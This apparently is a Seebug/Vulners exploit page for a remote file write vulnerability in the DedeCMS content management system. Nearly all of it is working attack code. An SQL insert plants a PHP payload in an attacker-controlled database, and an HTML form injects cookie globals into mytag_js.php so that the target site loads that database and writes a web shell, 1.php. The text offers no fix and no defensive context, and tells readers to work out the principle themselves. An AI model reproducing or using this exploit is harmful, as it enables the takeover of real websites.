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dedecms织梦 标签远程文件写入漏洞

🗓️ 15 Aug 2011 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

Dedecms remote file write exploit via mytag vulnerability

Code

                                                前题条件,必须准备好自己的dede数据库,然后插入数据:

insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

再用下面表单提交,shell 就在同目录下 1.php。原理自己研究。。。

<form action="" method="post" name="QuickSearch" id="QuickSearch" onsubmit="addaction();">
<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
<script>
function addaction()
{
document.QuickSearch.action=document.QuickSearch.doaction.value;
}
</script> 
                              

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15 Aug 2011 00:00Current
7.1High risk
Vulners AI Score7.1
21